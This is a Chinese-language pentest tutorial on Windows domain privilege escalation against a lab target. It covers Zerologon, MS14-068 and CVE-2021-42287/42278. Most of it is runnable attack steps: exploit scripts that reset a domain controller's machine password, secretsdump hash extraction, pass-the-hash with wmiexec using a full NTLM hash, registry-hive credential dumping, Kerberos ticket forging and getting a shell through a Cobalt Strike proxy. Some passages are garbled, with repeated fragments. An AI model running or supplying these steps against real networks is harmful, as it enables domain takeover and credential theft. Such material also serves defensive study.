域提权简介
Netlogon域权限提升
2020年08月12日, 微软官方发布了 NetLogon 特权提升漏洞 的风险通告。攻击者通过NetLogon(MSNRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者。
可以在该网络中的设备上运行经特殊设计的应用程序。
漏洞编号:CVE-2020-1472
影响版本:
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2012
Windows Server 2016
Windows Server 2019
Windows Server version 1903 (Server Core installation)
Windows Server version 1909 (Server Core installation)
Windows Server version 2004 (Server Core installation)
环境:域靶场
DC ip地址:10.10.10.10
1.查看域控主机名称。
net group "domain controllers" /domain
域内提权漏洞
环境:域靶场
DC ip地址:10.10.10.10
- 查看域控主机名称。
net group "domain controllers" /domain
- 检测漏洞是否存在。
(1)前提拿到目标机器的桌面控制权。
把PingCastle在目标机器运行。cmd命令行直接PingCastle.exe运行。选择第四个扫描模块。
(2)回车后,继续选择g模块对域环境进行探测。
(3)探测完成,在当前目录下生成探测结果。
(4)查看探测结果,存在漏洞,攻击了249次。
- 利用CS 做跳板在kali上进行探测和渗透。
前期准备:
(1)上线cs。创建一个socks代理
(2)查看代理信息,视图=>代理信息,端口为3795
(3)打开kali,配置自带的代理工具,vim /etc/proxychain.conf
socks4+CS服务器ip+代理端口。:wq保存退出。
- 使用zerologon_tester.py对目标域进行漏洞探测。
https://github.com/SecuraBV/CVE-2020-1472.git #脚本下载地址
python3 zerologon_tester.py DC 10.10.10.10
查看结果:
存在漏洞。
- 漏洞利用,对域账号重置。
https://github.com/blackarrowsec/redteam-research #下载地址
proxychains python3 CVE-2020-1472.py DC DC$ 10.10.10.10
可以看到账号已经被重置。
-
使用mimikatz获取DC$的hash。
-
查看密码是否为置空状态。
使用web第三方工具进行查询。
这时候可以看一下用户凭证,DC$的hash已被置空。
- 获取域控用户hash。
python3 secretsdump.py 'de1ay.com/DC$@10.10.10.10' -no-pass
- wmiexec进行hash横向连接。
proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:484c4a877bf92ab233572af847b9e530 demo\Administrator@10.10.10.10
- 恢复域 - 获取hash。
#获取sam数据库
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
在域控的C盘目录下可以看到生成的目录:
get system.save
get sam.save
get security.save
在执行命令的目录下可以找到三个文件。
- 恢复域 - 获取hash。
#解密sam
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
- 恢复域 - 还原hash。
https://github.com/risksense/zerologon
python3 reinstall_original_pw.py DC 192.168.5.134 e2474b7ca001fb4d6847a6c1ece68bfb
等待脚本跑完即可。
MS14-068
该漏洞可能允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限。
微软官方解释:
https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2014/ms14-068
漏洞原理:
Kerberos认证原理: https://www.cnblogs.com/huamingao/p/7267423.html
服务票据是客户端直接发送给服务器,并请求服务资源的。如果服务器没有向域控dc验证pac的话,那么客户端可以伪造域管的权限来访问服务器。
漏洞利用前提:
1.域控没有打MS14-068的补丁(KB3011780)
2.攻击者拿下了一台域内的普通计算机,并获得普通域用户以及密码/hash值,以及用户的suid。
相关工具下载:
Ms14-068.exe
下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
PSexec下载地址:https://github.com/crupper/Forensics-ToolWiki/blob/master/windowsTools/PsExec64.e
-
首先在检测是否有MS14-068这个漏洞,通过查看是否打补丁(KB3011780)来判断是否存在漏洞,在域中补丁都是批量安装。
-
获取域sid。
- 获取域hash。
由于是域普通用户,首先提权到system然后抓hash。
(1)提权,使用插件。
(2)使用system用户会话查询用户hash。
- 清除当前用户票据。
she #清除当前用户票据
mimikatz kerberos::list #列出当前用户票据
- 利用ms14-068.exe提权工具生成伪造的kerberos协议认证证书。
(1)上传程序,upload。选择MS14-068.exe。
(2)生成伪造的kerberos协议认证证书。
shell MS14-068.exe -u bob@zsyy.local -s S-1-5-21-650557126-778549642-18545986-1107 -p hudiashu -d 10.10.10.10
shell MS14-068.exe -u 用户名@域名 -s SID -p 明文密码/--rc4 thlmhash密文 -d DC的IP
- 利用mimikatz.exe将证书写入,从而提升为域管理员。
mimikatz kerberos::ptc **TGT_11@de1ay.com.ccache** #上一步最后一行显示的文件名称
- 再次列出域控制器的C盘目录,成功访问域控的C盘,说明普通域用户提权成功。
失败了没关系,我们尝试几次,实在不行的话就换个方式就好啦!
cve-2021-42287/cve-2021-42278
漏洞介绍
1、CVE-2021-42278
一般来说,机器账号的名字应该以
符号结尾的。例如
D
C
符号结尾的。例如DC
符号结尾的。例如DC表示DC这台主机的账户名。但是微软只是进行了规定,并没有验证程序对用户创建的用户名进行验证,也就是说,创建DC用户名完全是可以的。(这里指的是机器账号的sAMAccountName属性)
2、CVE-2021-42287
结合上面那个漏洞,如果创建了一个用户名为DC的账户,此时使用这个账户去申请一张TGT票据,然后在申请ST之前,将这个账户名修改掉或者删除掉,那么在进行申请ST的时候,KDC在进行验证时就查不到这个账户,此时KDC就会去查找DC
这个账户,如果这个账户存在的话,最终返回的就是
D
C
这个账户,如果这个账户存在的话,最终返回的就是DC
这个账户,如果这个账户存在的话,最终返回的就是DC这个账户申请的ST。也就相当于获取到了域控账户申请的高权限服务票据。
漏洞影响范围
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019
利用工具下载地址
https://github.com/WazeHell/sam-the-admin
- 上线cs。
- 开启socks代理,并配置kali的proxychains文件。
打开kali配置代理文件。
vim /etc/proxychains4.conf
-
下载脚本需要的模块包。
-
得到shell。
proxychains python3 sam_the_admin.py 域名/域名/域用户:密码
-dc-ip x.x.x.x -shell
- 查看用户权限即ip是否为域控IP。